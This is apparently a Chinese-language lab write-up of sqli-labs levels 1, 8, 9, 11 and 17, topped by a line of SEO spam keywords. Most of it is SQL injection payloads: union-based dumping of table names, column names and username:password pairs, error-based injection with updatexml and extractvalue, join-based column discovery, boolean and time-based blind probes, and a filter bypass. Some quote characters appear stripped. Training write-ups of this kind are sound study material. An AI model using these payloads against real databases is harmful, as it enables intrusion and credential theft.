周口网站建设哪家好,外贸网站制作方案,seo网络营销课程运营,重庆建设工程交易中心网站目录
sqli-labs-less1 1.less1普通解法 1.在url里面填写不同的值#xff0c;返回的内容也不同#xff0c;证明#xff0c;数值是进入数据库进行比对了的#xff08;可以被注入#xff09; 2.判断最终执行的sql语句的后面还有内容吗#xff0c;并且能够判断是字符型的拼接…目录
sqli-labs-less1 1.less1普通解法 1.在url里面填写不同的值返回的内容也不同证明数值是进入数据库进行比对了的可以被注入 2.判断最终执行的sql语句的后面还有内容吗并且能够判断是字符型的拼接还是数字型的拼接 3.判断当前语句查询的字段数也就是有几列order by 1..几哪个数出错了就是有n-1个字段 4.判断查询语句哪些字段是显示出来的 5.利用上一步的回显和database()version()函数回显数据库名和版本号 6.爆出来哪些表有可能存在用户名和密码根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名 7.现在用户名和密码只可能在users表下所有找出users表下有哪些字段字段在information_schema数据库下的columns表里面有。 8.数据库知道了表知道了字段知道了开始查询内容
2.less1解法2报错注入union用不了时
1.爆表名
3.less1解法3无列名注入 1.所以要另外找一个原始的数据库看里面有没有这些信息MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name 2.不知道列名要么是猜列名要么就用无列名注入把列名爆出来
sqli-labs-less8 1.less8布尔盲注
1.爆数据库名
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
1.用python写时间注入脚本
sqli-labs-less1 1.post提交方式的注入
1.-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemasecurity#
2.-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers#
3.-1 union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17 1.有过滤的注入 1、爆数据库名
2、爆表名
3、爆字段名
4、爆字段内容用户名 sqli-labs-less1 1.less1普通解法 1.在url里面填写不同的值返回的内容也不同证明数值是进入数据库进行比对了的可以被注入
select * from users where id 1-- limit 0,1;为什么要id1-- 引号和前面的引号闭合后面的引号被注释了 2.判断最终执行的sql语句的后面还有内容吗并且能够判断是字符型的拼接还是数字型的拼接 --是url里面的注释因为#有其他用处--空格里面的空格会被忽略 3.判断当前语句查询的字段数也就是有几列order by 1..几哪个数出错了就是有n-1个字段 4.判断查询语句哪些字段是显示出来的
?id-2union select 1,2,3-- -1可以让union左边的查询为空从而只回显123所在字段就可以知道会显示哪些字段了
UNION它用于将两个或多个查询的结果合并为一个结果集并且会去除重复的行。 5.利用上一步的回显和database()version()函数回显数据库名和版本号 6.爆出来哪些表有可能存在用户名和密码根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名 7.现在用户名和密码只可能在users表下所有找出users表下有哪些字段字段在information_schema数据库下的columns表里面有。 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity限定数据库 and table_nameusers 限定表名-- 8.数据库知道了表知道了字段知道了开始查询内容
?id-1 union select 1,2,group_concat(username,0x3a,password) from users -- 2.less1解法2报错注入union用不了时
报错注入必须加concat函数将数据库名称连接到原始XML文档节点
利用updataxml()或者extractvalue()函数来报错
1.爆表名
?id-1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,24),0x7e),1) -- updatexml123里面要三个字段13随便取2是xpath路径不对就报错
正是利用这个报错注入
concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)
group_concat把表里面每一行的结果拼成一个字符串输出用在查询语句里面来查询的
substring是截取字符串的一部分末尾120是截取范围 ?id-1 and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,24),0x7e)) -- extractvalue12里面两个字段1随便2错误报错
concat把0x7e,substring三个字段连接起来输出
group_concat把表里面每一行的结果拼成一个字符串输出
substring是截取字符串的一部分末尾120是截取范围 3.less1解法3无列名注入
当information_schema库被过滤了就不能用了里面的表名列名字段名就查不到了 1.所以要另外找一个原始的数据库看里面有没有这些信息MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name 能查到users表名但也仅限表名 2.不知道列名要么是猜列名要么就用无列名注入把列名爆出来
在知道的数据库名下查询这个select * from (select * from users a join users b)c;
因为连接的是两个相同的表就会报错字段重复就知道重复的字段是什么了
join是连接两张表最后的c是因为子查询必须有个别名 用using()排除已经知道的字段就会爆出下一个字段select * from (select * from users a join users b using(id))c; sqli-labs-less8 1.less8布尔盲注
当输入id1之类的东西他的回显只有两个值一个对一个错就要用布尔盲注
联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注 1.爆数据库名
对的回显 错的回显 所以115就是数据库名的第一个字母的asc码改substr后面的截取字段就可以一个个把数据库名爆出来 2.接着爆表名
?id1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))101-- 3.接着爆字段名
?id1and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99-- 2.less8用python写布尔盲注脚本
1.爆数据库名 二分法爆数据库名 2.爆表名 3.爆字段名 sqli-labs-less9
1.时间注入
网页表现为不管对错都是一样的画面
比如sqli第九题怎么样都是you are in ……. 利用if判断语句和布尔盲注如果asc码满足条件就延迟4秒如果不满足就直接返回
?id1 and if(ascii(substr(database(),1,1))115,sleep(5),1)--
条件满足网页在转圈圈 条件不满足网页直接返回 1.用python写时间注入脚本 sqli-labs-less11 1.post提交方式的注入
和第一关一样只不过是提交方式变化了在表单标签里面注入
并且要填两个值
1.-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemasecurity# 2.-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers# 3.-1 union select 1,group_concat(password,0x3a,username) from users# sqli-labs-less17 1.有过滤的注入
第17关username被转义了只能name是正确的然后在password注入 1、爆数据库名
1 and extractvalue(1,concat(0x7e,database(),0x7e))# 2、爆表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e))# 3、爆字段名
1 and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c))# 4、爆字段内容用户名
如果直接查询的话会报错因为被过滤了
1 and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 为了绕过他不让用users表的限制把users表用(select username from users)代替 1 and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))# 5、爆密码
1 and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#